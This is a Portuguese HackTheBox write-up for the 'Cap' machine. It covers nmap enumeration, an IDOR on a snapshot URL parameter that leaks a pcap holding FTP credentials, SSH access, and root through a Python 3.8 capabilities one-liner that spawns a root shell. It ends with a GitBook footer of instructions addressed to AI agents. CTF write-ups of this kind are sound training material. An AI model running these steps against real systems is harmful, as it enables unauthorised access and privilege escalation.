> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md).

# Resolução da máquina Cap do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Cap>" %}

{% hint style="warning" %}
Habilidades:

* Referência Insegura a Objeto de Diretório (IDOR)
* Vazamento de Informações
* Abuso de capabilities (Python3.8) (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/5ea4ec7346c0e84afc2d87d8ff429da6fca647a6" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/50ff5b41bc6b3cb6c6ee5a31391d8a87f33d5115" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.245 -oG allPorts
```

<figure><img src="/files/c5843174213cc687a6f4c1f40a53fd9767141b29" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (21,22,80)

<figure><img src="/files/fca50e7ad83760db5121a597129d6256908e15bd" alt=""><figcaption></figcaption></figure>

#### Varredura de versões de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,22,80 10.10.10.245 -oN targeted
```

<figure><img src="/files/1e219dcb9c842d2ef8b476d680df3777ebf6606a" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/f1378bf5ff22596a941be8d12fc669cfc26f743e" alt=""><figcaption></figcaption></figure>

Acessamos o serviço HTTP e descobrimos uma seção chamada **Instantâneo de Segurança**. Esta seção permite criar e baixar **pcap** arquivos contendo logs do sistema.

<figure><img src="/files/ddf0d9a2a3c80b2cf94687c1cfb9c3a245d305ea" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade IDOR

**Observação inicial**

Após analisar os **pcap** arquivos com o Wireshark, nenhum conteúdo diretamente utilizável foi encontrado.

<figure><img src="/files/fd3c3d76119ce3114ab40ecd0111e4bffa4d2ceb" alt=""><figcaption></figcaption></figure>

No entanto, notamos que cada vez que um arquivo é baixado, um **instantâneo** é criado. A URL correspondente contém um parâmetro indicando o identificador do instantâneo, por exemplo: `snapshot_data=2`.

<figure><img src="/files/7bb0f424d234c4a4e5b8d2f71ab07e2df9969184" alt=""><figcaption></figcaption></figure>

Ao alterar manualmente o parâmetro da URL para acessar o instantâneo 0, obtemos um arquivo contendo informações sensíveis.

### **Análise com Wireshark**

Ao examinar os frames no **pcap** arquivo, identificamos as credenciais de um usuário:

* usuário: `nathan`
* senha: `Buck3tH4TF0RM3!`

<figure><img src="/files/f01a9fce3954a34461f4150b15dee89cd4e1d5bc" alt=""><figcaption></figcaption></figure>

#### Uso das credenciais

**Acesso via FTP**

Usamos as credenciais para nos conectar ao serviço FTP:

Conexão bem-sucedida. Recuperamos o **user.txt** arquivo contendo a primeira flag.

<figure><img src="/files/1e6ed9c419b050f6cc567ccffc0bd3721a58e2a3" alt=""><figcaption></figcaption></figure>

**Acesso via SSH**

Ao testar as mesmas credenciais para uma conexão SSH, obtemos acesso total:

```bash
ssh nathan@10.10.10.245
Buck3tH4TF0RM3!
```

<figure><img src="/files/eaddc5f53ee322b48acff16c9740bf3efcb2b26b" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Vulnerabilidade de capabilities Python3.8

#### Filtragem **capacidades**:

Se filtrarmos por capabilities, o Python 3.8 aparece:

```bash
getcap -r / 2>/dev/null
```

<figure><img src="/files/500afdc6a32b16047b0d8461e2dd660cd427b9eb" alt="" width="554"><figcaption></figcaption></figure>

Use [GTFOBins](https://gtfobins.github.io/) como referência.

```bash
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
```

<figure><img src="/files/9a46998d7d022767117acf492e7f526f9500383e" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/7cddf838bc797280489827ddb10d37b7948b950e" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/10171193d05bf4946eaeab5dd0866270d3f3e71a" alt="" width="482"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/cap-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
